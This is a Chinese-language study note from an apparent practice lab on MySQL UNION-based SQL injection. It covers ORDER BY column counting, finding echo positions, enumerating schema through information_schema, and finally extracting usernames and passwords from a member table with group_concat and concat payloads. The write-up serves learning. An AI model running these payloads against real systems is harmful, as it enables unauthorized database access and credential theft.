SQL注入第一天

📅 2026/7/31 3:43:25
SQL注入第一天
1.报错注入输入单引号后直接显示数据库错误?id1abcde2. 联合查询注入先判断字段数量?id1 ORDER BY 1 ?id1 ORDER BY 2 ?id1 ORDER BY 3 ?id1 ORDER BY 4从正常到报错的临界值可以确定字段数量。例如ORDER BY 4报错通常表示查询有3列。测试回显位置?id-1 UNION SELECT 1,2,3页面显示哪个数字哪个位置就是回显位。在靶场中验证数据库信息(假设是2,3?id-1 UNION SELECT 1,database(),version()知识点MySQL 的information_schemainformation_schemaMySQL 5.0 以上版本自带的系统数据库保存数据库结构信息不直接保存业务数据。information_schema.schemata记录数据库名称。information_schema.tables记录各数据库中的表。information_schema.columns记录各表中的字段。.表示层级关系。例如xiaoxiao.user表示xiaoxiao数据库中的user表。获取数据库基本信息version() -- 数据库版本 database() -- 当前数据库名 user() -- 数据库当前用户 version_compile_os -- 数据库运行系统得出库名为mozhe_Discuz_StormGroup?id1 union select 1,table_name,3,4 from information_schema.tables where table_schemamozhe_Discuz_StormGroup解释where table_schemamozhe_Discuz_StormGroup只筛选出属于mozhe_Discuz_StormGroup这个库的表。?id-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemamozhe_Discuz_StormGroup为什么要改用group_concat因为union select时如果原始页面只展示结果集的第 1 行数据那么用table_name就只能看到一个表。使用group_concat()可以把所有表名合并到同一行的同一列中这样无论页面只抓取哪一行都能把全部表名带出来信息收集效率更高。得出表之后就查列名?id-1 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_nameStormGroup_member得到列名之后就可以查找敏感字段了账号密码?id1 union select 1, name, password, 4 from stormgroup_member补充?id-1 union select 1, concat(name,0x3a,password), 3, 4 from StormGroup_member order by id limit X,1limit x,1的语法含义在 MySQL 中limit x, 1的含义是跳过前 X 条记录然后只取接下来的 1 条记录。X 从 0 开始limit 0,1代表取第1条limit 1,1代表取第2条limit 2,1代表取第3条……以此类推。